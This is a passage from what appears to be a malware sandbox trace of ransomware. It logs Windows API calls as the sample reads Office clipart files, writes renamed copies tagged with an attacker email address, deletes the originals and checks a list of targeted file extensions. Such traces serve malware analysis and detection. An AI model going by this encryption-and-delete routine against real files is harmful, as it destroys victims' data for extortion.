Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0061.358] lstrlenW (lpString=".doc") returned 4 [0061.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString=".docx") returned 5 [0061.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.358] lstrlenW (lpString=".pdf") returned 4 [0061.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString=".xls") returned 4 [0061.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.358] lstrlenW (lpString=".xlsx") returned 5 [0061.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.358] lstrlenW (lpString=".ppt") returned 4 [0061.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0061.358] lstrlenW (lpString=".zip") returned 4 [0061.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.358] lstrlenW (lpString=".rar") returned 4 [0061.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.359] lstrlenW (lpString=".bz2") returned 4 [0061.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.359] lstrlenW (lpString=".7z") returned 3 [0061.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0061.359] lstrlenW (lpString=".dbf") returned 4 [0061.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0061.359] lstrlenW (lpString=".1cd") returned 4 [0061.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0061.359] lstrlenW (lpString=".jpg") returned 4 [0061.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.360] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3616) returned 1 [0061.360] CloseHandle (hObject=0x164) returned 1 [0061.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0061.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.360] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.360] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.361] GetLastError () returned 0x0 [0061.361] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xe20, lpOverlapped=0x0) returned 1 [0061.362] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe30, lpOverlapped=0x0) returned 1 [0061.363] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.363] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.363] SetEndOfFile (hFile=0x160) returned 1 [0061.363] CloseHandle (hObject=0x160) returned 1 [0061.364] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.364] SetEndOfFile (hFile=0x164) returned 1 [0061.364] CloseHandle (hObject=0x164) returned 1 [0061.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0061.365] lstrlenW (lpString=".doc") returned 4 [0061.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".docx") returned 5 [0061.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.365] lstrlenW (lpString=".pdf") returned 4 [0061.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".xls") returned 4 [0061.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.365] lstrlenW (lpString=".xlsx") returned 5 [0061.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.365] lstrlenW (lpString=".ppt") returned 4 [0061.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0061.365] lstrlenW (lpString=".zip") returned 4 [0061.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.365] lstrlenW (lpString=".rar") returned 4 [0061.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".bz2") returned 4 [0061.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.366] lstrlenW (lpString=".7z") returned 3 [0061.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0061.366] lstrlenW (lpString=".dbf") returned 4 [0061.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0061.366] lstrlenW (lpString=".1cd") returned 4 [0061.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0061.366] lstrlenW (lpString=".jpg") returned 4 [0061.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.366] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2140) returned 1 [0061.366] CloseHandle (hObject=0x164) returned 1 [0061.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0061.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.366] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.367] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.367] GetLastError () returned 0x0 [0061.367] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x85c, lpOverlapped=0x0) returned 1 [0061.368] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x860, lpOverlapped=0x0) returned 1 [0061.369] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.369] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.369] SetEndOfFile (hFile=0x160) returned 1 [0061.370] CloseHandle (hObject=0x160) returned 1 [0061.370] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.370] SetEndOfFile (hFile=0x164) returned 1 [0061.370] CloseHandle (hObject=0x164) returned 1 [0061.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0061.371] lstrlenW (lpString=".doc") returned 4 [0061.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".docx") returned 5 [0061.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.371] lstrlenW (lpString=".pdf") returned 4 [0061.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".xls") returned 4 [0061.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.371] lstrlenW (lpString=".xlsx") returned 5 [0061.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.371] lstrlenW (lpString=".ppt") returned 4 [0061.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0061.371] lstrlenW (lpString=".zip") returned 4 [0061.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.371] lstrlenW (lpString=".rar") returned 4 [0061.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".bz2") returned 4 [0061.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".7z") returned 3 [0061.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0061.372] lstrlenW (lpString=".dbf") returned 4 [0061.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0061.372] lstrlenW (lpString=".1cd") returned 4 [0061.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0061.372] lstrlenW (lpString=".jpg") returned 4 [0061.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.372] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2780) returned 1 [0061.372] CloseHandle (hObject=0x164) returned 1 [0061.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0061.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.372] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.372] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.373] GetLastError () returned 0x0 [0061.373] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xadc, lpOverlapped=0x0) returned 1 [0061.374] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xae0, lpOverlapped=0x0) returned 1 [0061.375] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.375] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.375] SetEndOfFile (hFile=0x160) returned 1 [0061.376] CloseHandle (hObject=0x160) returned 1 [0061.376] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.376] SetEndOfFile (hFile=0x164) returned 1 [0061.376] CloseHandle (hObject=0x164) returned 1 [0061.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0061.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0061.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0061.377] lstrlenW (lpString=".doc") returned 4 [0061.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString=".docx") returned 5 [0061.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.377] lstrlenW (lpString=".pdf") returned 4 [0061.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString=".xls") returned 4 [0061.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.377] lstrlenW (lpString=".xlsx") returned 5 [0061.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.377] lstrlenW (lpString=".ppt") returned 4 [0061.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0061.377] lstrlenW (lpString=".zip") returned 4 [0061.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.377] lstrlenW (lpString=".rar") returned 4 [0061.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString=".bz2") returned 4 [0061.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString=".7z") returned 3 [0061.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0061.378] lstrlenW (lpString=".dbf") returned 4 [0061.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0061.378] lstrlenW (lpString=".1cd") returned 4 [0061.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0061.378] lstrlenW (lpString=".jpg") returned 4 [0061.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.378] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2796) returned 1 [0061.378] CloseHandle (hObject=0x164) returned 1 [0061.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0061.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.378] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.378] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.379] GetLastError () returned 0x0 [0061.379] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xaec, lpOverlapped=0x0) returned 1 [0061.380] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0061.381] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.381] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.381] SetEndOfFile (hFile=0x160) returned 1 [0061.381] CloseHandle (hObject=0x160) returned 1 [0061.381] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.381] SetEndOfFile (hFile=0x164) returned 1 [0061.382] CloseHandle (hObject=0x164) returned 1 [0061.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0061.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0061.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0061.383] lstrlenW (lpString=".doc") returned 4 [0061.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString=".docx") returned 5 [0061.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.383] lstrlenW (lpString=".pdf") returned 4 [0061.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString=".xls") returned 4 [0061.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.383] lstrlenW (lpString=".xlsx") returned 5 [0061.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.383] lstrlenW (lpString=".ppt") returned 4 [0061.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0061.383] lstrlenW (lpString=".zip") returned 4 [0061.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.383] lstrlenW (lpString=".rar") returned 4 [0061.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString=".bz2") returned 4 [0061.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString=".7z") returned 3 [0061.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0061.383] lstrlenW (lpString=".dbf") returned 4 [0061.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0061.383] lstrlenW (lpString=".1cd") returned 4 [0061.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0061.383] lstrlenW (lpString=".jpg") returned 4 [0061.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.384] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2960) returned 1 [0061.384] CloseHandle (hObject=0x164) returned 1 [0061.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0061.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft 